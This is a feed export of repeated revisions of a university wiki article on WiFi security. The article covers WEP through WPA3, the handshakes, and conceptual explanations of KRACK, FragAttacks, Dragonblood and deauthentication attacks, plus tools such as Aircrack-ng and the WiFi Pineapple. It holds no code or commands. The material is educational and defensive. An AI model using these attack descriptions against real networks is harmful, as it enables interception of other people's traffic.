leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16779</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16779"/>
		<updated>2024-12-07T16:56:24Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Known Weaknesses of WEP&lt;br /&gt;
*WEP has no Mechanism to prevent to manipulate data packets.&lt;br /&gt;
*WEP can not prevent Replay Attacks&lt;br /&gt;
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer.&lt;br /&gt;
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key.&lt;br /&gt;
*WEP allows attackers to modify messages or data without knowing the encryption key.&lt;br /&gt;
*with WEP it is easy to manipulate Authentication messages.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;WEP vs. WPA&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Mansoori&lt;br /&gt;
| first3 = Masood&lt;br /&gt;
| title = Wired Equavilent Privacy (WEP) versus Wi-Fi Protected Access (WPA)&lt;br /&gt;
| booktitle = 2009 International Conference on Signal Processing Systems&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 445-449&lt;br /&gt;
| doi = 10.1109/ICSPS.2009.87&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5166826&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of operation:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key):&lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA2 like WPA supports two modes of security. Like in WPA there are.&lt;br /&gt;
&lt;br /&gt;
*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)&lt;br /&gt;
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
*WPA2-Enterprise (802.1X)&lt;br /&gt;
This is the also called &amp;quot;corporate&amp;quot; security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16778</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16778"/>
		<updated>2024-12-07T16:48:45Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Known Weaknesses of WEP&lt;br /&gt;
*WEP has no Mechanism to prevent to manipulate data packets.&lt;br /&gt;
*WEP can not prevent Replay Attacks&lt;br /&gt;
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer.&lt;br /&gt;
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key.&lt;br /&gt;
*WEP allows attackers to modify messages or data without knowing the encryption key.&lt;br /&gt;
*with WEP it is easy to manipulate Authentication messages.&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of operation:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key):&lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
